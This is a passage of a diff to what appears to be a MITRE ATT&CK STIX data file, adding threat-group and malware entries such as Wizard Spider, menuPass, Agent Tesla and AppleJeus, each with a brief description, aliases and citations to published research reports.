"Kaspersky Winnti April 2013", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.", + "url": "https://securelist.com/winnti-more-than-just-a-game/37029/" + }, + { + "source_name": "Kaspersky Winnti June 2015", + "description": "Tarakanov, D. (2015, June 22). Games are over: Winnti is now targeting pharmaceutical companies. Retrieved January 14, 2016.", + "url": "https://securelist.com/games-are-over/70991/" + }, + { + "source_name": "Novetta Winnti April 2015", + "description": "Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.", + "url": "http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf" + }, + { + "source_name": "401 TRG Winnti Umbrella May 2018", + "description": "Hegel, T. (2018, May 3). Burning Umbrella: An Intelligence Report on the Winnti Umbrella and Associated State-Sponsored Attackers. Retrieved July 8, 2018.", + "url": "https://401trg.github.io/pages/burning-umbrella.html" + }, + { + "source_name": "Symantec Suckfly March 2016", + "description": "DiMaggio, J.. (2016, March 15). Suckfly: Revealing the secret life of your code signing certificates. Retrieved August 3, 2016.", + "url": "http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Wizard Spider", + "x_mitre_version": "2.0", + "modified": "2021-10-14T17:27:41.194Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "Wizard Spider", + "UNC1878", + "TEMP.MixMaster", + "Grim Spider" + ], + "id": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) is a Russia-based financially motivated threat group originally known for the creation and deployment of [TrickBot](https://attack.mitre.org/software/S0266) since at least 2016. [Wizard Spider](https://attack.mitre.org/groups/G0102) possesses a diverse arsenal of tools and has conducted ransomware campaigns against a variety of organizations, ranging from major corporations to hospitals.(Citation: CrowdStrike Ryuk January 2019)(Citation: DHS/CISA Ransomware Targeting Healthcare October 2020)(Citation: CrowdStrike Wizard Spider October 2020)", + "x_mitre_contributors": [ + "Edward Millington", + "Oleksiy Gayda" + ], + "created": "2020-05-12T18:15:29.396Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0102", + "external_id": "G0102", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: FireEye KEGTAP SINGLEMALT October 2020)", + "source_name": "UNC1878" + }, + { + "description": "(Citation: FireEye Ryuk and Trickbot January 2019)", + "source_name": "TEMP.MixMaster" + }, + { + "description": "(Citation: CrowdStrike Ryuk January 2019)(Citation: CrowdStrike Grim Spider May 2019)", + "source_name": "Grim Spider" + }, + { + "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/", + "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020.", + "source_name": "CrowdStrike Ryuk January 2019" + }, + { + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a", + "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020.", + "source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020" + }, + { + "url": "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/", + "description": "Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021.", + "source_name": "CrowdStrike Wizard Spider October 2020" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.", + "source_name": "FireEye KEGTAP SINGLEMALT October 2020" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html", + "description": "Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020.", + "source_name": "FireEye Ryuk and Trickbot January 2019" + }, + { + "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/", + "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.", + "source_name": "CrowdStrike Grim Spider May 2019" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "ZIRCONIUM", + "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) is a threat group operating out of China, active since at least 2017, that has targeted individuals associated with the 2020 US presidential election and prominent leaders in the international affairs community.(Citation: Microsoft Targeting Elections September 2020)(Citation: Check Point APT31 February 2021)", + "x_mitre_version": "1.0", + "modified": "2021-04-20T21:00:44.930Z", + "aliases": [ + "ZIRCONIUM", + "APT31" + ], + "created": "2021-03-24T15:48:17.731Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0128", + "external_id": "G0128", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Check Point APT31 February 2021)", + "source_name": "APT31" + }, + { + "url": "https://blogs.microsoft.com/on-the-issues/2020/09/10/cyberattacks-us-elections-trump-biden/", + "description": "Burt, T. (2020, September 10). New cyberattacks targeting U.S. elections. Retrieved March 24, 2021.", + "source_name": "Microsoft Targeting Elections September 2020" + }, + { + "url": "https://research.checkpoint.com/2021/the-story-of-jian/", + "description": "Itkin, E. and Cohen, I. (2021, February 22). The Story of Jian \u2013 How APT31 Stole and Used an Unknown Equation Group 0-Day. Retrieved March 24, 2021.", + "source_name": "Check Point APT31 February 2021" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "admin@338", + "x_mitre_version": "1.2", + "modified": "2020-03-18T19:54:59.120Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "admin@338" + ], + "id": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "description": "[admin@338](https://attack.mitre.org/groups/G0018) is a China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as [PoisonIvy](https://attack.mitre.org/software/S0012), as well as some non-public backdoors. (Citation: FireEye admin@338)", + "x_mitre_contributors": [ + "Tatsuya Daitoku, Cyber Defense Institute, Inc." + ], + "created": "2017-05-31T21:31:53.579Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0018", + "external_id": "G0018", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: FireEye admin@338)", + "source_name": "admin@338" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "source_name": "FireEye admin@338" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "menuPass", + "x_mitre_version": "2.1", + "modified": "2021-10-11T14:01:44.538Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "menuPass", + "Cicada", + "POTASSIUM", + "Stone Panda", + "APT10", + "Red Apollo", + "CVNX", + "HOGFISH" + ], + "id": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) is a threat group that has been active since at least 2006. Individual members of [menuPass](https://attack.mitre.org/groups/G0045) are known to have acted in association with the Chinese Ministry of State Security's (MSS) Tianjin State Security Bureau and worked for the Huaying Haitai Science and Technology Development Company.(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)\n\n[menuPass](https://attack.mitre.org/groups/G0045) has targeted healthcare, defense, aerospace, finance, maritime, biotechnology, energy, and government sectors globally, with an emphasis on Japanese organizations. In 2016 and 2017, the group is known to have targeted managed IT service providers (MSPs), manufacturing and mining companies, and a university.(Citation: Palo Alto menuPass Feb 2017)(Citation: Crowdstrike CrowdCast Oct 2013)(Citation: FireEye Poison Ivy)(Citation: PWC Cloud Hopper April 2017)(Citation: FireEye APT10 April 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)", + "x_mitre_contributors": [ + "Edward Millington", + "Michael Cox" + ], + "created": "2017-05-31T21:32:09.054Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0045", + "external_id": "G0045", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Palo Alto menuPass Feb 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)", + "source_name": "menuPass" + }, + { + "description": "(Citation: Symantec Cicada November 2020)", + "source_name": "Cicada" + }, + { + "description": "(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)", + "source_name": "POTASSIUM" + }, + { + "description": "(Citation: Palo Alto menuPass Feb 2017)(Citation: Accenture Hogfish April 2018)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)(Citation: Symantec Cicada November 2020)", + "source_name": "Stone Panda" + }, + { + "description": "(Citation: Palo Alto menuPass Feb 2017)(Citation: Accenture Hogfish April 2018)(Citation: FireEye APT10 Sept 2018)(Citation: DOJ APT10 Dec 2018)(Citation: Symantec Cicada November 2020)", + "source_name": "APT10" + }, + { + "description": "(Citation: PWC Cloud Hopper April 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)", + "source_name": "Red Apollo" + }, + { + "description": "(Citation: PWC Cloud Hopper April 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)", + "source_name": "CVNX" + }, + { + "description": "(Citation: Accenture Hogfish April 2018)", + "source_name": "HOGFISH" + }, + { + "url": "https://www.justice.gov/opa/pr/two-chinese-hackers-associated-ministry-state-security-charged-global-computer-intrusion", + "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019.", + "source_name": "DOJ APT10 Dec 2018" + }, + { + "url": "https://www.justice.gov/opa/page/file/1122671/download", + "description": "US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020.", + "source_name": "District Court of NY APT10 Indictment December 2018" + }, + { + "url": "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/", + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.", + "source_name": "Palo Alto menuPass Feb 2017" + }, + { + "source_name": "Crowdstrike CrowdCast Oct 2013", + "description": "Crowdstrike. (2013, October 16). CrowdCasts Monthly: You Have an Adversary Problem. Retrieved March 1, 2017.", + "url": "https://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem" + }, + { + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf", + "description": "FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved November 12, 2014.", + "source_name": "FireEye Poison Ivy" + }, + { + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.", + "source_name": "PWC Cloud Hopper April 2017" + }, + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + }, + { + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage", + "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020.", + "source_name": "Symantec Cicada November 2020" + }, + { + "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf", + "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.", + "source_name": "Accenture Hogfish April 2018" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "source_name": "FireEye APT10 Sept 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "3PARA RAT", + "x_mitre_aliases": [ + "3PARA RAT" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T18:34:04.031Z", + "created": "2017-05-31T21:32:44.131Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a", + "description": "[3PARA RAT](https://attack.mitre.org/software/S0066) is a remote access tool (RAT) programmed in C++ that has been used by [Putter Panda](https://attack.mitre.org/groups/G0024). (Citation: CrowdStrike Putter Panda)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0066", + "external_id": "S0066", + "source_name": "mitre-attack" + }, + { + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "source_name": "CrowdStrike Putter Panda" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "4H RAT", + "x_mitre_aliases": [ + "4H RAT" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T14:46:14.131Z", + "created": "2017-05-31T21:32:43.664Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc", + "description": "[4H RAT](https://attack.mitre.org/software/S0065) is malware that has been used by [Putter Panda](https://attack.mitre.org/groups/G0024) since at least 2007. (Citation: CrowdStrike Putter Panda)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0065", + "external_id": "S0065", + "source_name": "mitre-attack" + }, + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "ABK", + "x_mitre_aliases": [ + "ABK" + ], + "x_mitre_version": "1.0", + "modified": "2020-06-24T15:34:14.618Z", + "created": "2020-06-10T16:58:56.032Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--a0ebedca-d558-4e48-8ff7-4bf76208d90c", + "description": "[ABK](https://attack.mitre.org/software/S0469) is a downloader that has been used by [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) since at least 2019.(Citation: Trend Micro Tick November 2019)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0469", + "external_id": "S0469", + "source_name": "mitre-attack" + }, + { + "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf", + "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020.", + "source_name": "Trend Micro Tick November 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "ADVSTORESHELL", + "x_mitre_aliases": [ + "ADVSTORESHELL", + "AZZY", + "EVILTOSS", + "NETUI", + "Sedreco" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T01:44:19.899Z", + "created": "2017-05-31T21:32:34.648Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) is a spying backdoor that has been used by [APT28](https://attack.mitre.org/groups/G0007) from at least 2012 to 2016. It is generally used for long-term espionage and is deployed on targets deemed interesting after a reconnaissance phase. (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 2)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0045", + "external_id": "S0045", + "source_name": "mitre-attack" + }, + { + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", + "source_name": "Kaspersky Sofacy" + }, + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "ASPXSpy", + "x_mitre_aliases": [ + "ASPXSpy", + "ASPXTool" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T14:48:21.994Z", + "created": "2017-05-31T21:32:47.879Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--56f46b17-8cfa-46c0-b501-dd52fef394e2", + "description": "[ASPXSpy](https://attack.mitre.org/software/S0073) is a Web shell. It has been modified by [Threat Group-3390](https://attack.mitre.org/groups/G0027) actors to create the ASPXTool version. (Citation: Dell TG-3390)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0073", + "external_id": "S0073", + "source_name": "mitre-attack" + }, + { + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Agent Tesla", + "x_mitre_aliases": [ + "Agent Tesla" + ], + "x_mitre_version": "1.2", + "modified": "2021-04-21T02:04:30.060Z", + "created": "2019-01-29T18:44:04.748Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) is a spyware Trojan written for the .NET framework that has been observed since at least 2014.(Citation: Fortinet Agent Tesla April 2018)(Citation: Bitdefender Agent Tesla April 2020)(Citation: Malwarebytes Agent Tesla April 2020)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0331", + "external_id": "S0331", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Fortinet Agent Tesla April 2018)(Citation: Talos Agent Tesla Oct 2018)(Citation: DigiTrust Agent Tesla Jan 2017)", + "source_name": "Agent Tesla" + }, + { + "source_name": "Fortinet Agent Tesla April 2018", + "description": "Zhang, X. (2018, April 05). Analysis of New Agent Tesla Spyware Variant. Retrieved November 5, 2018.", + "url": "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html" + }, + { + "url": "https://labs.bitdefender.com/2020/04/oil-gas-spearphishing-campaigns-drop-agent-tesla-spyware-in-advance-of-historic-opec-deal/", + "description": "Arsene, L. (2020, April 21). Oil & Gas Spearphishing Campaigns Drop Agent Tesla Spyware in Advance of Historic OPEC+ Deal. Retrieved May 19, 2020.", + "source_name": "Bitdefender Agent Tesla April 2020" + }, + { + "url": "https://blog.malwarebytes.com/threat-analysis/2020/04/new-agenttesla-variant-steals-wifi-credentials/", + "description": "Jazi, H. (2020, April 16). New AgentTesla variant steals WiFi credentials. Retrieved May 19, 2020.", + "source_name": "Malwarebytes Agent Tesla April 2020" + }, + { + "source_name": "Talos Agent Tesla Oct 2018", + "description": "Brumaghin, E., et al. (2018, October 15). Old dog, new tricks - Analysing new RTF-based campaign distributing Agent Tesla, Loki with PyREbox. Retrieved November 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/10/old-dog-new-tricks-analysing-new-rtf_15.html" + }, + { + "url": "https://www.digitrustgroup.com/agent-tesla-keylogger/", + "description": "The DigiTrust Group. (2017, January 12). The Rise of Agent Tesla. Retrieved November 5, 2018.", + "source_name": "DigiTrust Agent Tesla Jan 2017" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Agent.btz", + "x_mitre_aliases": [ + "Agent.btz" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T14:50:51.213Z", + "created": "2017-05-31T21:32:59.153Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--40d3e230-ed32-469f-ba89-be70cc08ab39", + "description": "[Agent.btz](https://attack.mitre.org/software/S0092) is a worm that primarily spreads itself via removable devices such as USB drives. It reportedly infected U.S. military networks in 2008. (Citation: Securelist Agent.btz)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0092", + "external_id": "S0092", + "source_name": "mitre-attack" + }, + { + "source_name": "Securelist Agent.btz", + "description": "Gostev, A.. (2014, March 12). Agent.btz: a Source of Inspiration?. Retrieved April 8, 2016.", + "url": "https://securelist.com/agent-btz-a-source-of-inspiration/58551/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Anchor", + "x_mitre_aliases": [ + "Anchor", + "Anchor_DNS" + ], + "x_mitre_version": "1.0", + "modified": "2020-10-05T17:54:53.991Z", + "created": "2020-09-10T15:54:21.805Z", + "x_mitre_platforms": [ + "Linux", + "Windows" + ], + "id": "malware--5f1d4579-4e8f-48e7-860e-2da773ae432e", + "description": "[Anchor](https://attack.mitre.org/software/S0504) is one of a family of backdoor malware that has been used in conjunction with [TrickBot](https://attack.mitre.org/software/S0266) on selected high profile targets since at least 2018.(Citation: Cyberreason Anchor December 2019)(Citation: Medium Anchor DNS July 2020)", + "x_mitre_contributors": [ + "Cybereason Nocturnus, @nocturnus" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0504", + "external_id": "S0504", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Cyberreason Anchor December 2019)(Citation: Medium Anchor DNS July 2020)", + "source_name": "Anchor_DNS" + }, + { + "url": "https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware", + "description": "Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020.", + "source_name": "Cyberreason Anchor December 2019" + }, + { + "url": "https://medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30", + "description": "Grange, W. (2020, July 13). Anchor_dns malware goes cross platform. Retrieved September 10, 2020.", + "source_name": "Medium Anchor DNS July 2020" + } + ] + }, + { + "type": "malware", + "modified": "2021-04-27T20:49:10.831Z", + "name": "AppleJeus", + "x_mitre_aliases": [ + "AppleJeus" + ], + "x_mitre_version": "1.0", + "created": "2021-03-01T20:17:11.064Z", + "x_mitre_platforms": [ + "Windows", + "macOS" + ], + "id": "malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858", + "description": "[AppleJeus](https://attack.mitre.org/software/S0584) is a family of downloaders initially discovered in 2018 embedded within trojanized cryptocurrency applications. [AppleJeus](https://attack.mitre.org/software/S0584) has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032), targeting companies in the energy, finance, government, industry, technology, and telecommunications sectors, and several countries including the United States, United Kingdom, South Korea, Australia, Brazil, New Zealand, and Russia. [AppleJeus](https://attack.mitre.org/software/S0584) has been used to distribute the [FALLCHILL](https://attack.mitre.org/software/S0181) RAT.(Citation: CISA AppleJeus Feb 2021)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0584", + "external_id": "S0584", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: CISA AppleJeus Feb 2021)", + "source_name": "AppleJeus" + }, + { + "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a", + "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. 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Retrieved June 10, 2021.", + "source_name": "Malwarebytes Kimsuky June 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "Aria-body", + "x_mitre_aliases": [ + "Aria-body" + ], + "x_mitre_version": "1.1", + "modified": "2021-08-19T17:58:43.342Z", + "created": "2020-05-26T19:36:04.663Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--3161d76a-e2b2-4b97-9906-24909b735386", + "description": "[Aria-body](https://attack.mitre.org/software/S0456) is a custom backdoor that has been used by [Naikon](https://attack.mitre.org/groups/G0019) since approximately 2017.(Citation: CheckPoint Naikon May 2020)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0456", + "external_id": "S0456", + "source_name": "mitre-attack" + }, + { + "url": "https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/", + "description": "CheckPoint. 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(n.d.). Threat Hunting for Avaddon Ransomware. Retrieved August 19, 2021.", + "source_name": "Awake Security Avaddon" + }, + { + "url": "https://arxiv.org/pdf/2102.04796.pdf", + "description": "Yuste, J. Pastrana, S. (2021, February 9). Avaddon ransomware: an in-depth analysis and decryption of infected systems. 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Retrieved November 29, 2018.", + "source_name": "Proofpoint Azorult July 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "BACKSPACE", + "x_mitre_aliases": [ + "BACKSPACE", + "Lecna" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-30T14:54:21.256Z", + "created": "2017-05-31T21:32:24.428Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--fb261c56-b80e-43a9-8351-c84081e7213d", + "description": "[BACKSPACE](https://attack.mitre.org/software/S0031) is a backdoor used by [APT30](https://attack.mitre.org/groups/G0013) that dates back to at least 2005. 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Retrieved February 18, 2019.", + "source_name": "Palo Alto OilRig Sep 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "malware", + "name": "BOOSTWRITE", + "x_mitre_aliases": [ + "BOOSTWRITE" + ], + "x_mitre_version": "1.0", + "modified": "2019-10-15T17:07:57.638Z", + "created": "2019-10-11T16:04:31.994Z", + "x_mitre_platforms": [ + "Windows" + ], + "id": "malware--56d10a7f-bb42-4267-9b4c-63abb9c06010", + "description": "[BOOSTWRITE](https://attack.mitre.org/software/S0415) is a loader crafted to be launched via abuse of the DLL search order of applications used by [FIN7](https://attack.mitre.org/groups/G0046).(Citation: FireEye FIN7 Oct 2019)", + "labels": [ + "malware" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/software/S0415", + "external_id": "S0415", + "source_name": "mitre-attack" + }, + { + "source_name": "FireEye FIN7 Oct 2019", + "description": "Carr, N, et all. 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Retrieved November 12, 2014.", + "source_name": "Mandiant Operation Ke3chang November 2014" + } + ] + }, + { + "object_marking_refs": 